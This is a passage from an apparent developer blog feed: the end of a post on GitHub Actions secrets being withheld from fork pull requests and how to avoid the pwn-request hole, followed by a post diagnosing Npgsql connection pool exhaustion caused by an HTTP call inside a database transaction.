<p>The isolation is that the privileged workflow never runs fork-authored code — it only reads data the fork produced. That data is still untrusted, so parse it rather than interpolating it into a <code class="language-plaintext highlighter-rouge">run:</code> block or a script argument.</p>

<h3 id="option-c--pull_request_target-with-no-head-checkout-narrow-metadata-only">Option C — <code class="language-plaintext highlighter-rouge">pull_request_target</code> with no head checkout (narrow, metadata only)</h3>

<p><code class="language-plaintext highlighter-rouge">pull_request_target</code> is legitimate for jobs that touch only PR <em>metadata</em>: applying labels by changed path, greeting first-time contributors, assigning reviewers. The rule is absolute — the job must never check out, install from, or execute the PR head. If your workflow contains both <code class="language-plaintext highlighter-rouge">pull_request_target</code> and a checkout with a <code class="language-plaintext highlighter-rouge">ref:</code> that resolves to the PR head, you have built the vulnerability, regardless of intent.</p>

<p><strong>Do not use this as the fix for the symptom in this post.</strong> The symptom is “my scanner needs the code <em>and</em> the token”; that is exactly the combination <code class="language-plaintext highlighter-rouge">pull_request_target</code> cannot safely provide.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Audit every <code class="language-plaintext highlighter-rouge">pull_request_target</code> workflow in the repo for a head checkout.</strong> Grep <code class="language-plaintext highlighter-rouge">.github/workflows/</code> for <code class="language-plaintext highlighter-rouge">pull_request_target</code>, then check each hit for <code class="language-plaintext highlighter-rouge">actions/checkout</code> with a <code class="language-plaintext highlighter-rouge">ref:</code> referencing <code class="language-plaintext highlighter-rouge">github.event.pull_request.head</code>. Also check for implicit execution: a <code class="language-plaintext highlighter-rouge">pull_request_target</code> job that runs <code class="language-plaintext highlighter-rouge">npm ci</code>, <code class="language-plaintext highlighter-rouge">pip install -e .</code>, <code class="language-plaintext highlighter-rouge">make</code>, or a <code class="language-plaintext highlighter-rouge">setup-*</code> action with a <code class="language-plaintext highlighter-rouge">cache:</code> input pointed at the PR’s lockfile is running fork-controlled logic even without an explicit script step.</p>
  </li>
  <li>
    <p><strong>Declare <code class="language-plaintext highlighter-rouge">permissions:</code> explicitly on every workflow.</strong> <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> defaults to read-only in newer GitHub defaults, but a repository or organization can still be configured for legacy broad write access. An explicit top-level <code class="language-plaintext highlighter-rouge">permissions:</code> block with the minimum scopes makes the blast radius a property of the file rather than of a setting somebody may change later.</p>
  </li>
  <li>
    <p><strong>Know that Dependabot PRs behave like fork PRs but from a different store.</strong> For a workflow triggered by Dependabot, “the only secrets available to the workflow are Dependabot secrets. GitHub Actions secrets are not available,” and the run gets a read-only <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> by default. A team that fixes the fork case and then sees the identical empty-secret symptom on Dependabot PRs is looking at a separate secret store, not a regression.</p>
  </li>
  <li>
    <p><strong>Move high-value credentials behind environments and OIDC.</strong> Repository secrets are readable by any workflow the repo runs. An environment with required reviewers gates the credential behind a human approval, and OIDC federation to a cloud provider removes the long-lived credential from the repo entirely — there is nothing left in <code class="language-plaintext highlighter-rouge">secrets.*</code> for a fork PR to have been denied.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />No workflow combines <code class="language-plaintext highlighter-rouge">pull_request_target</code> with a checkout of <code class="language-plaintext highlighter-rouge">github.event.pull_request.head.sha</code> or <code class="language-plaintext highlighter-rouge">head.ref</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every job that reads <code class="language-plaintext highlighter-rouge">secrets.*</code> is gated on <code class="language-plaintext highlighter-rouge">github.event.pull_request.head.repo.full_name == github.repository</code>, or is genuinely fine running with an empty value</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Required status checks do not include a job that can only pass on same-repo PRs, so fork contributions are not permanently blocked</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Credentialed post-processing for fork PRs uses the <code class="language-plaintext highlighter-rouge">pull_request</code> artifact plus <code class="language-plaintext highlighter-rouge">workflow_run</code> handoff, and the privileged half never checks out the PR head</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every workflow declares an explicit top-level <code class="language-plaintext highlighter-rouge">permissions:</code> block rather than relying on the repository default</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Artifacts downloaded in a <code class="language-plaintext highlighter-rouge">workflow_run</code> job are parsed as data, never interpolated into a <code class="language-plaintext highlighter-rouge">run:</code> shell line</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>Why doesn’t the workflow just fail loudly when a secret is unavailable?</strong>
Because nothing failed. Secret interpolation is expression evaluation, and an unavailable secret evaluates to the empty string — a valid result. The runner then passes <code class="language-plaintext highlighter-rouge">""</code> into <code class="language-plaintext highlighter-rouge">env:</code> exactly as it would pass any other value. The only signal is downstream: the tool that received the empty credential rejects it, and the log shows a blank where a masked <code class="language-plaintext highlighter-rouge">***</code> would otherwise appear.</p>

<p><strong>Can a fork PR at least use <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code>?</strong>
Yes — <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> is the documented exception, but it is read-only in pull requests from forked repositories. That is enough to read repository contents and post a check-run status, and not enough to write a comment, push a commit, or create a label. If your fork-PR job needs any of those, the <code class="language-plaintext highlighter-rouge">workflow_run</code> handoff in Option B is the route.</p>

<p><strong>Our maintainers approve fork workflow runs before they execute. Doesn’t that make it safe to inject secrets?</strong>
Approval gates <em>when</em> the run starts, not <em>what</em> it can reach. The approval a maintainer clicks is on the run of the fork’s current head — approving it does not audit the fork’s <code class="language-plaintext highlighter-rouge">prepare</code> script, its test fixtures, or its transitive dependencies. GitHub still withholds secrets from an approved <code class="language-plaintext highlighter-rouge">pull_request</code> fork run for that reason, and that is the correct default to keep.</p>

<p><strong>Is the risk only about the token being printed to the log?</strong>
No, and log masking is a red herring here. The fork’s code runs <em>in the same job</em> as the secret, so it can read the environment variable directly and send it anywhere over the network. Masking only prevents accidental display in the log — it does nothing about deliberate exfiltration by code the job is executing.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> <code class="language-plaintext highlighter-rouge">secrets.*</code> resolves to an empty string on pull requests from forks while working normally on same-repo pull requests, with no error or warning in the log</li>
  <li><strong>Domain:</strong> cicd</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows">Events that trigger workflows — GitHub Docs</a> — establishes “With the exception of <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code>, secrets are not passed to the runner when a workflow is triggered from a forked repository”, that <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> is read-only in fork PRs, that <code class="language-plaintext highlighter-rouge">pull_request_target</code> runs in the base repository’s default-branch context, and the caution that running untrusted code on <code class="language-plaintext highlighter-rouge">pull_request_target</code> can lead to cache poisoning and unintended access to write privileges or secrets</li>
  <li><strong>Docs/Repo:</strong> <a href="https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/">Keeping your GitHub Actions and workflows secure: Preventing pwn requests — GitHub Security Lab</a> — establishes that <code class="language-plaintext highlighter-rouge">pull_request_target</code> grants write permission and target-repository secrets, names the pwn-request pattern as <code class="language-plaintext highlighter-rouge">pull_request_target</code> combined with an explicit checkout of an untrusted PR, and describes the unprivileged-build plus <code class="language-plaintext highlighter-rouge">workflow_run</code>-privileged-consumer split</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.github.com/en/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions">Troubleshooting Dependabot on GitHub Actions — GitHub Docs</a> — establishes that Dependabot-triggered runs receive only Dependabot secrets, not Actions secrets, and a read-only <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> by default</li>
</ul>]]></content><author><name>Mayur</name></author><category term="cicd" /><category term="cicd" /><category term="troubleshooting" /><category term="debugging" /><category term="github-actions" /><category term="secrets" /><category term="supply-chain" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: a workflow secret resolves normally on same-repo pull requests and silently becomes an empty string on pull requests from forks. The root cause is that GitHub withholds every secret except GITHUB_TOKEN from a pull_request run triggered by a fork, because that run executes the fork's own code. Trace the fix through the masked-value log output, the pull_request vs pull_request_target context difference, and the workflow_run artifact handoff that solves it without re-introducing the pwn-request hole.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/cicd-secrets-empty-in-fork-pr.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/cicd-secrets-empty-in-fork-pr.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Databases: Why Does the App Time Out Acquiring a Connection While the Database Is Idle?</title><link href="https://mayurjp.github.io/dev-blog/databases/db-connection-pool-exhaustion/" rel="alternate" type="text/html" title="Databases: Why Does the App Time Out Acquiring a Connection While the Database Is Idle?" /><published>2026-09-03T03:30:00+00:00</published><updated>2026-09-03T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/databases/db-connection-pool-exhaustion</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/databases/db-connection-pool-exhaustion/"><![CDATA[<p><strong>TL;DR:</strong> The pool is exhausted, the database is not. Connections are being held by transactions parked on an outbound HTTP call — <code class="language-plaintext highlighter-rouge">pg_stat_activity</code> shows 96 of them in state <code class="language-plaintext highlighter-rouge">idle in transaction</code>, waiting on <code class="language-plaintext highlighter-rouge">ClientRead</code>, executing nothing. Pool occupancy is arrival rate times hold time, and hold time stopped being about queries.</p>
<blockquote>
  <p><strong>In plain English (30 sec):</strong> Think of this like concepts you already use, but in a production system at scale.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“We’re getting hundreds of <code class="language-plaintext highlighter-rouge">The connection pool has been exhausted</code> errors during checkout traffic. So I went to look at the database — and it’s <em>fine</em>. CPU 4%. <code class="language-plaintext highlighter-rouge">pg_stat_statements</code> shows nothing above 6ms. <code class="language-plaintext highlighter-rouge">SELECT count(*) FROM pg_stat_activity WHERE state = 'active'</code> returns 2. Two. We raised Max Pool Size from 50 to 100 and it bought us about a week before it came back.”</p>
</blockquote>

<p>The obvious explanations are already ruled out by that last sentence and the two active queries. It is not a slow query — nothing is executing. It is not an undersized database — the server is doing almost nothing. It is not a traffic spike — the error appears at a steady, predictable request rate. And doubling the pool bought a week, which is the classic signature of a fix that moves a threshold instead of removing a cause.</p>

<p>The confusing detail is the one worth holding onto: <strong>the connections are all checked out, and the database has no work.</strong> Those two facts are only compatible if something is holding connections without using them.</p>

<h2 id="reproduce">Reproduce</h2>

<p>The exception, verbatim from Npgsql, which interpolates the live configured values into the message:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Npgsql.NpgsqlException: The connection pool has been exhausted, either raise
'Max Pool Size' (currently 100) or 'Timeout' (currently 15 seconds) in your
connection string.
 ---&gt; System.TimeoutException: The operation has timed out.
</code></pre></div></div>

<p>The code that produces it — an ASP.NET Core checkout handler that authorizes a payment inside its database transaction:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">async</span> <span class="n">Task</span><span class="p">&lt;</span><span class="n">AuthResult</span><span class="p">&gt;</span> <span class="nf">AuthorizeAsync</span><span class="p">(</span><span class="kt">long</span> <span class="n">orderId</span><span class="p">,</span> <span class="kt">decimal</span> <span class="n">amount</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">await</span> <span class="k">using</span> <span class="nn">var</span> <span class="n">conn</span> <span class="p">=</span> <span class="k">await</span> <span class="n">_dataSource</span><span class="p">.</span><span class="nf">OpenConnectionAsync</span><span class="p">();</span>
    <span class="k">await</span> <span class="k">using</span> <span class="nn">var</span> <span class="n">tx</span>   <span class="p">=</span> <span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">BeginTransactionAsync</span><span class="p">();</span>

    <span class="c1">// 3 ms of actual database work</span>
    <span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span>
        <span class="s">"UPDATE orders SET status = 'authorizing' WHERE id = @id"</span><span class="p">,</span>
        <span class="k">new</span> <span class="p">{</span> <span class="n">id</span> <span class="p">=</span> <span class="n">orderId</span> <span class="p">},</span> <span class="n">tx</span><span class="p">);</span>

    <span class="c1">// 2,400 ms against a third-party payment gateway.</span>
    <span class="c1">// The connection stays checked out of the pool for every one of them,</span>
    <span class="c1">// and the Postgres backend behind it does nothing at all.</span>
    <span class="kt">var</span> <span class="n">gateway</span> <span class="p">=</span> <span class="k">await</span> <span class="n">_http</span><span class="p">.</span><span class="nf">PostAsJsonAsync</span><span class="p">(</span>
        <span class="s">"https://api.payments.example.com/v1/authorize"</span><span class="p">,</span>
        <span class="k">new</span> <span class="p">{</span> <span class="n">orderId</span><span class="p">,</span> <span class="n">amount</span> <span class="p">});</span>
    <span class="kt">var</span> <span class="n">auth</span> <span class="p">=</span> <span class="k">await</span> <span class="n">gateway</span><span class="p">.</span><span class="n">Content</span><span class="p">.</span><span class="n">ReadFromJsonAsync</span><span class="p">&lt;</span><span class="n">GatewayAuth</span><span class="p">&gt;();</span>

    <span class="c1">// 4 ms of actual database work</span>
    <span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span>
        <span class="s">"UPDATE orders SET status = @s, auth_ref = @r WHERE id = @id"</span><span class="p">,</span>
        <span class="k">new</span> <span class="p">{</span> <span class="n">s</span> <span class="p">=</span> <span class="n">auth</span><span class="p">.</span><span class="n">Status</span><span class="p">,</span> <span class="n">r</span> <span class="p">=</span> <span class="n">auth</span><span class="p">.</span><span class="n">Reference</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">orderId</span> <span class="p">},</span> <span class="n">tx</span><span class="p">);</span>

    <span class="k">await</span> <span class="n">tx</span><span class="p">.</span><span class="nf">CommitAsync</span><span class="p">();</span>
    <span class="k">return</span> <span class="k">new</span> <span class="nf">AuthResult</span><span class="p">(</span><span class="n">auth</span><span class="p">.</span><span class="n">Status</span><span class="p">,</span> <span class="n">auth</span><span class="p">.</span><span class="n">Reference</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Drive it at a steady 40 requests/second. Nothing else is required — no spike, no slow query, no lock contention.</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-the-immediate-trigger-the-pool-is-full-and-the-database-is-empty">1. The immediate trigger: the pool is full and the database is empty</h3>

<p>Ask Postgres what its backends are actually doing, grouped by state:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="k">state</span><span class="p">,</span>
       <span class="k">count</span><span class="p">(</span><span class="o">*</span><span class="p">),</span>
       <span class="k">max</span><span class="p">(</span><span class="n">now</span><span class="p">()</span> <span class="o">-</span> <span class="n">state_change</span><span class="p">)</span> <span class="k">AS</span> <span class="n">longest_in_state</span>
<span class="k">FROM</span> <span class="n">pg_stat_activity</span>
<span class="k">WHERE</span> <span class="n">datname</span> <span class="o">=</span> <span class="n">current_database</span><span class="p">()</span>
<span class="k">GROUP</span> <span class="k">BY</span> <span class="k">state</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="k">count</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        state        | count |  longest_in_state
---------------------+-------+--------------------
 idle in transaction |    96 | 00:00:02.371
 idle                |     4 | 00:04:11.882
 active              |     2 | 00:00:00.004
</code></pre></div></div>

<p>96 backends are in <code class="language-plaintext highlighter-rouge">idle in transaction</code> — documented as <em>“The backend is in a transaction, but is not currently executing a query.”</em> Two are <code class="language-plaintext highlighter-rouge">active</code>. The database’s own view of itself agrees with the dashboard: it has essentially nothing to do. Every one of those 96 backends is on the far end of a checked-out pooled connection.</p>

<p>Now look at what they are waiting on:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">pid</span><span class="p">,</span> <span class="k">state</span><span class="p">,</span> <span class="n">wait_event_type</span><span class="p">,</span> <span class="n">wait_event</span><span class="p">,</span>
       <span class="n">now</span><span class="p">()</span> <span class="o">-</span> <span class="n">xact_start</span>   <span class="k">AS</span> <span class="n">xact_age</span><span class="p">,</span>
       <span class="n">now</span><span class="p">()</span> <span class="o">-</span> <span class="n">state_change</span> <span class="k">AS</span> <span class="n">state_age</span><span class="p">,</span>
       <span class="k">left</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="mi">48</span><span class="p">)</span>      <span class="k">AS</span> <span class="n">last_statement</span>
<span class="k">FROM</span> <span class="n">pg_stat_activity</span>
<span class="k">WHERE</span> <span class="n">datname</span> <span class="o">=</span> <span class="n">current_database</span><span class="p">()</span> <span class="k">AND</span> <span class="k">state</span> <span class="o">=</span> <span class="s1">'idle in transaction'</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">xact_start</span> <span class="k">LIMIT</span> <span class="mi">4</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  pid  |        state        | wait_event_type | wait_event |   xact_age   |  state_age   |                 last_statement
-------+---------------------+-----------------+------------+--------------+--------------+-------------------------------------------------
 21188 | idle in transaction | Client          | ClientRead | 00:00:02.401 | 00:00:02.371 | UPDATE orders SET status = 'authorizing' WHERE i
 21193 | idle in transaction | Client          | ClientRead | 00:00:02.288 | 00:00:02.259 | UPDATE orders SET status = 'authorizing' WHERE i
 21201 | idle in transaction | Client          | ClientRead | 00:00:01.944 | 00:00:01.911 | UPDATE orders SET status = 'authorizing' WHERE i
 21206 | idle in transaction | Client          | ClientRead | 00:00:01.977 | 00:00:01.944 | UPDATE orders SET status = 'authorizing' WHERE i
</code></pre></div></div>

<p>Three columns finish the diagnosis:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">wait_event = ClientRead</code></strong>, documented as <em>“Waiting to read data from the client.”</em> The backend is not blocked on a lock, on I/O, or on another transaction. It is blocked on <strong>your application</strong>, waiting for the next command that will not arrive for 2.4 seconds.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">last_statement</code> is always the same <code class="language-plaintext highlighter-rouge">UPDATE</code>.</strong> Every stuck backend is parked at the same point in the code path.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">xact_age</code> clusters around 2.3 seconds</strong> — the payment gateway’s response time, not any database operation’s.</li>
</ul>

<h3 id="2-the-mechanism-pool-occupancy-is-arrival-rate-times-hold-time-and-hold-time-is-no-longer-query-time">2. The mechanism: pool occupancy is arrival rate times hold time, and hold time is no longer query time</h3>

<p>A connection pool has no opinion about <em>why</em> a connection is checked out. Its occupancy follows Little’s Law:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>concurrent connections in use  =  arrival rate  ×  hold time
</code></pre></div></div>

<p>Hold time here is the whole <code class="language-plaintext highlighter-rouge">AuthorizeAsync</code> body, not the query time:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hold time = 3 ms  (UPDATE)
          + 2,400 ms  (HTTP POST to the payment gateway)
          + 4 ms  (UPDATE)
          + ~10 ms  (COMMIT and round trips)
          = 2,417 ms

occupancy = 40 req/s × 2.417 s = 96.7 connections
</code></pre></div></div>

<p>96.7 against a <code class="language-plaintext highlighter-rouge">Max Pool Size</code> of 100. That matches the <code class="language-plaintext highlighter-rouge">idle in transaction</code> count exactly, and it explains the shape of the failure precisely:</p>

<ul>
  <li><strong>Steady-state is 97% pool utilization</strong>, which looks survivable on a dashboard and is not. There are three connections of headroom.</li>
  <li><strong>Actual database work is 7ms of the 2,417ms hold — 0.29%.</strong> The pool is 97% occupied to do 0.29% of a connection’s worth of work. This is why the database looks idle: it <em>is</em> idle.</li>
  <li><strong>Raising the pool from 50 to 100 bought exactly one doubling of traffic headroom.</strong> It did not change hold time at all, so occupancy went on tracking arrival rate linearly. Growth ate the headroom, and the same error returned.</li>
</ul>

<p>The 101st concurrent request finds no idle connector and cannot open a new one, so it blocks on the pool’s internal wait queue for up to <code class="language-plaintext highlighter-rouge">Timeout</code> — Npgsql’s default is <strong>15 seconds</strong> — and then throws. The exception text is generated with the currently configured <code class="language-plaintext highlighter-rouge">MaxConnections</code> and <code class="language-plaintext highlighter-rouge">Settings.Timeout</code> interpolated into it, which is why it names your real numbers back at you.</p>

<p>That framing matters: <strong>pool exhaustion is a statement about the application’s hold time, not about the database’s capacity.</strong> They are measured on different sides of the socket and they can move in opposite directions.</p>

<pre><code class="language-mermaid">sequenceDiagram
    participant R as HTTP request 101
    participant P as Npgsql pool — Max Pool Size 100
    participant C as pooled connector
    participant PG as Postgres backend pid 21188
    participant GW as api.payments.example.com

    Note over P: 100 connectors already checked out
    C-&gt;&gt;PG: BEGIN then UPDATE orders SET status = authorizing
    PG--&gt;&gt;C: UPDATE 1 in 3 ms
    Note over PG: transaction still open — no COMMIT sent

    C-&gt;&gt;GW: POST /v1/authorize
    rect rgb(253, 236, 234)
    Note over PG,GW: 2,400 ms — backend state is idle in transaction,&lt;br/&gt;wait_event ClientRead, doing zero work,&lt;br/&gt;connector NOT returned to the pool
    end
    GW--&gt;&gt;C: 200 OK after 2,400 ms

    C-&gt;&gt;PG: UPDATE orders SET auth_ref then COMMIT
    PG--&gt;&gt;C: COMMIT in 4 ms
    C-&gt;&gt;P: connector returned after 2,417 ms total

    R-&gt;&gt;P: OpenConnectionAsync
    P--&gt;&gt;R: no idle connector, at Max Pool Size — block on the wait queue
    loop Timeout = 15 s
        P-&gt;&gt;P: waiting for any of the 100 connectors to be returned
    end
    P--&gt;&gt;R: NpgsqlException — the connection pool has been exhausted&lt;br/&gt;raise Max Pool Size currently 100 or Timeout currently 15 seconds
</code></pre>

<h2 id="the-fix">The fix</h2>

<p>Move the external call out of the transaction. The two database writes do not need to be atomic with the gateway call — they need to be <em>recoverable</em> around it, which is a different and much cheaper requirement.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">async</span> <span class="n">Task</span><span class="p">&lt;</span><span class="n">AuthResult</span><span class="p">&gt;</span> <span class="nf">AuthorizeAsync</span><span class="p">(</span><span class="kt">long</span> <span class="n">orderId</span><span class="p">,</span> <span class="kt">decimal</span> <span class="n">amount</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Transaction 1 — mark intent and claim an idempotency key. ~4 ms held.</span>
    <span class="kt">var</span> <span class="n">idempotencyKey</span> <span class="p">=</span> <span class="n">Guid</span><span class="p">.</span><span class="nf">NewGuid</span><span class="p">();</span>
    <span class="k">await</span> <span class="k">using</span> <span class="p">(</span><span class="kt">var</span> <span class="n">conn</span> <span class="p">=</span> <span class="k">await</span> <span class="n">_dataSource</span><span class="p">.</span><span class="nf">OpenConnectionAsync</span><span class="p">())</span>
    <span class="p">{</span>
        <span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span>
            <span class="s">@"UPDATE orders SET status = 'authorizing', auth_key = @k
              WHERE id = @id AND status = 'pending'"</span><span class="p">,</span>
            <span class="k">new</span> <span class="p">{</span> <span class="n">k</span> <span class="p">=</span> <span class="n">idempotencyKey</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">orderId</span> <span class="p">});</span>
    <span class="p">}</span>
    <span class="c1">// &lt;- connector is back in the pool BEFORE the slow call starts</span>

    <span class="c1">// No connection held for these 2,400 ms.</span>
    <span class="c1">// The idempotency key makes a retry after a crash safe rather than a double charge.</span>
    <span class="kt">var</span> <span class="n">gateway</span> <span class="p">=</span> <span class="k">await</span> <span class="n">_http</span><span class="p">.</span><span class="nf">PostAsJsonAsync</span><span class="p">(</span>
        <span class="s">"https://api.payments.example.com/v1/authorize"</span><span class="p">,</span>
        <span class="k">new</span> <span class="p">{</span> <span class="n">orderId</span><span class="p">,</span> <span class="n">amount</span><span class="p">,</span> <span class="n">idempotencyKey</span> <span class="p">});</span>
    <span class="kt">var</span> <span class="n">auth</span> <span class="p">=</span> <span class="k">await</span> <span class="n">gateway</span><span class="p">.</span><span class="n">Content</span><span class="p">.</span><span class="n">ReadFromJsonAsync</span><span class="p">&lt;</span><span class="n">GatewayAuth</span><span class="p">&gt;();</span>

    <span class="c1">// Transaction 2 — record the outcome. ~5 ms held.</span>
    <span class="k">await</span> <span class="k">using</span> <span class="p">(</span><span class="kt">var</span> <span class="n">conn</span> <span class="p">=</span> <span class="k">await</span> <span class="n">_dataSource</span><span class="p">.</span><span class="nf">OpenConnectionAsync</span><span class="p">())</span>
    <span class="p">{</span>
        <span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span>
            <span class="s">@"UPDATE orders SET status = @s, auth_ref = @r
              WHERE id = @id AND auth_key = @k"</span><span class="p">,</span>
            <span class="k">new</span> <span class="p">{</span> <span class="n">s</span> <span class="p">=</span> <span class="n">auth</span><span class="p">.</span><span class="n">Status</span><span class="p">,</span> <span class="n">r</span> <span class="p">=</span> <span class="n">auth</span><span class="p">.</span><span class="n">Reference</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">orderId</span><span class="p">,</span> <span class="n">k</span> <span class="p">=</span> <span class="n">idempotencyKey</span> <span class="p">});</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="k">new</span> <span class="nf">AuthResult</span><span class="p">(</span><span class="n">auth</span><span class="p">.</span><span class="n">Status</span><span class="p">,</span> <span class="n">auth</span><span class="p">.</span><span class="n">Reference</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Re-run the occupancy arithmetic on the same traffic:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hold time = 4 ms + 5 ms = 9 ms   (was 2,417 ms)
occupancy = 40 req/s × 0.009 s = 0.36 connections   (was 96.7)
</code></pre></div></div>

<p>The same 40 requests/second now needs well under one connection on average. <code class="language-plaintext highlighter-rouge">Max Pool Size = 100</code> stops being a limit anyone will reach, and the pool has roughly 270x more headroom than before — without touching the database, the pool configuration, or the request rate.</p>

<p>The <code class="language-plaintext highlighter-rouge">WHERE ... AND status = 'pending'</code> and <code class="language-plaintext highlighter-rouge">WHERE ... AND auth_key = @k</code> guards are what replace the transaction’s atomicity. If the process dies between the two transactions, the order is left in <code class="language-plaintext highlighter-rouge">authorizing</code> with a known key, and the reconciliation job can query the gateway with that same idempotency key to find out what really happened. That is strictly more robust than the original, which would have rolled back the intent record and left no trace that a gateway call was ever in flight.</p>

<p><strong>Do not raise <code class="language-plaintext highlighter-rouge">Max Pool Size</code> as the fix.</strong> Each pooled connection is a real Postgres backend <em>process</em> with its own memory. <code class="language-plaintext highlighter-rouge">max_connections</code> defaults to <code class="language-plaintext highlighter-rouge">100</code>, so a pool of 300 across three app instances is 900 requested backends against a server that will start refusing them with <code class="language-plaintext highlighter-rouge">FATAL: sorry, too many clients already</code>. Raising the pool converts an application-side timeout into a server-side hard failure, and it still does not shorten hold time.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Set <code class="language-plaintext highlighter-rouge">idle_in_transaction_session_timeout</code> as a detector.</strong> It defaults to <code class="language-plaintext highlighter-rouge">0</code> — disabled — meaning a transaction can stay open forever. Setting it to a value comfortably above your slowest legitimate transaction (<code class="language-plaintext highlighter-rouge">ALTER SYSTEM SET idle_in_transaction_session_timeout = '30s'</code>) makes leaked transactions fail loudly at the point of the leak instead of showing up later as pool exhaustion. It is a smoke alarm, not a fix: it terminates the session, it does not shorten hold time.</p>
  </li>
  <li>
    <p><strong>On PostgreSQL 17 and later, add <code class="language-plaintext highlighter-rouge">transaction_timeout</code> too.</strong> Also <code class="language-plaintext highlighter-rouge">0</code> by default, it bounds the <em>entire</em> transaction rather than only its idle stretches — so it catches a transaction that keeps issuing cheap statements while a slow loop runs, which <code class="language-plaintext highlighter-rouge">idle_in_transaction_session_timeout</code> never sees because the session is never idle.</p>
  </li>
  <li>
    <p><strong>Scrape the pool’s own metrics, not just the database’s.</strong> Npgsql publishes a <code class="language-plaintext highlighter-rouge">Npgsql</code> meter exposing <code class="language-plaintext highlighter-rouge">db.client.connection.count</code> broken down by idle/used state and <code class="language-plaintext highlighter-rouge">db.client.connection.max</code>, plus <code class="language-plaintext highlighter-rouge">db.client.operation.duration</code>. The used/max ratio is the leading indicator; the exhaustion exception is the lagging one. Pair it with <code class="language-plaintext highlighter-rouge">pg_stat_database.idle_in_transaction_time</code>, which accumulates milliseconds spent in exactly this state.</p>
  </li>
  <li>
    <p><strong>Do not expect PgBouncer in transaction mode to rescue this.</strong> Transaction pooling assigns a server connection for the duration of a transaction — and this transaction is open across the whole HTTP call, so the server connection stays pinned for all 2.4 seconds too. The leak simply relocates from the application pool to the PgBouncer pool. Transaction pooling multiplexes <em>short</em> transactions; it has nothing to multiplex here.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />No HTTP call, message publish, blob upload, or <code class="language-plaintext highlighter-rouge">Task.Delay</code> occurs between <code class="language-plaintext highlighter-rouge">BeginTransactionAsync</code> and <code class="language-plaintext highlighter-rouge">CommitAsync</code> on any code path</li>
